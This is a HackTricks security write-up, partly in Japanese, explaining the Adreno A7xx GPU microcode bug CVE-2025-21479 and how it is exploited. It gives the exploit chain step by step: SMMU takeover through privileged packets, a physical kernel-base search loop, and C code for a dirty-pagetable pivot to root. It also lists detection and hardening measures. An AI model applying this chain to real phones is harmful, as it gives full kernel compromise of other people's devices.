Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このページでは、実際に発見された Adreno A7xx のマイクロコード論理バグ (CVE-2025-21479) を再現可能なエクスプロイト手法に抽象化して解説する: Set Draw State (SDS) における IB-level マスキングを悪用して非特権アプリから特権 GPU パケットを実行し、GPU SMMU takeover にピボット、その後 dirty-pagetable トリックで高速かつ安定した kernel R/W を得る。

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

Background: IB levels, SDS and the $12 mask

  • The kernel maintains a ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
  • SDS is a special command stream entered via CP_SET_DRAW_STATE:
  • A6xx: SDS is treated as IB3
  • A7xx: SDS moved to IB4
  • Microcode tracks the current IB level in register $12 and gates privileged packets so they are only accepted when the effective level corresponds to IB0 (kernel RB).
  • Bug: A7xx microcode kept masking $12 with 0x3 (2 bits) instead of 0x7 (3 bits). Since IB4 & 0x3 == 0, SDS was misidentified as IB0, allowing privileged packets from user-controlled SDS.

Why it matters:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Microcode diff の例(patch が mask を 0x7 に切り替えた):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

エクスプロイトの概要

Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.

High-level chain

  • Craft a fake GPU pagetable in shared memory
  • Enter SDS and execute:
  • CP_SMMU_TABLE_UPDATE -> 偽ページテーブルに切り替え
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> 書き込み/読み取りプリミティブを実装
  • CP_SET_DRAW_STATE with run-now flags (dispatch immediately)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE to an attacker-chosen GPU VA whose PTEs you map to a chosen PA -> 任意の物理書き込み
  • Read: CP_MEM_TO_MEM copies 4/8 bytes from target PA to a userspace-shared buffer (batch for larger reads)

Notes

  • Each Android process gets a KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Switching contexts normally updates SMMU tables in the RB; the bug lets you do it in SDS.
  • Excessive GPU traffic can cause UI blackouts and reboots; reads are small (4/8B) and sync is slow by default.

SDSコマンドシーケンスの構築

  • Spray a fake GPU pagetable into shared memory so at least one instance lands at a known physical address (e.g., via allocator grooming and repetition).
  • Construct an SDS buffer containing, in order:
  1. CP_SMMU_TABLE_UPDATE to the physical address of the fake pagetable
  2. One or more CP_MEM_WRITE and/or CP_MEM_TO_MEM packets to implement R/W using your new translations
  3. CP_SET_DRAW_STATE with flags to run-now

The exact packet encodings vary by firmware; use freedreno’s afuc/packet docs to assemble the words, and ensure the SDS submission path is taken by the driver.

physical KASLR下でのSamsungカーネル physbase の探索

Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.

代表的なループ

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

physbase が判明したら、線形マップを用いてカーネルの仮想アドレスを計算する:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

高速で信頼性のある CPU-side kernel R/W (dirty pagetable) に安定化する

GPU R/W は遅く粒度が小さい。自分のプロセスの PTEs(“dirty pagetable”)を破壊して、高速で安定したプリミティブにピボットする:

Steps

  • 遅い GPU R/W プリミティブを使って現在の task_struct -> mm_struct -> mm_struct->pgd を特定する
  • 隣接するユーザ空間ページ A と B を mmap する(例: 0x1000)
  • PGD->PMD->PTE を辿り、A/B の PTE の物理アドレスを解決する(ヘルパー: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • B の PTE を上書きして、A/B を管理する最下位の pagetable を RW 属性で指すようにする(phys_to_readwrite_pte)
  • B の VA を介して書き込み、A の PTE を変化させてターゲット PFNs をマップする;A の VA を使ってカーネルメモリを読み書きし、sentinel が反転するまで TLB をフラッシュする
例: dirty-pagetable pivot スニペット ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## 検出と強化

- ファームウェア/マイクロコード: すべての $12 マスク箇所を 0x7 (A7xx) を使うよう修正し、privileged packet gates を監査する
- ドライバ: privileged packets に対する有効な IB レベルを検証し、コンテキストごとの allowlists を強制する
- Telemetry: CP_SMMU_TABLE_UPDATE(または類似の privileged opcodes)が RB/IB0 の外、特に SDS で出現した場合にアラートを上げる;4/8 バイトの CP_MEM_TO_MEM の異常バーストや過剰な TLB フラッシュパターンを監視する
- Kernel: pagetable metadata を強化し、user PTE の破損パターンを検出する

## 影響

ローカルの GPU アクセス権を持つアプリは privileged GPU packets を実行し、GPU SMMU をハイジャックし、任意のカーネル物理/仮想 R/W を達成し、SELinux を無効化して影響を受ける Snapdragon A7xx デバイス(例: Samsung S23)で root を取得できる。重大度: 高(カーネル侵害)。

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> AWSハッキングを学び、実践する:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを学び、実践する:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを学び、実践する:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポートする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
> - **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォローしてください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
>
> </details>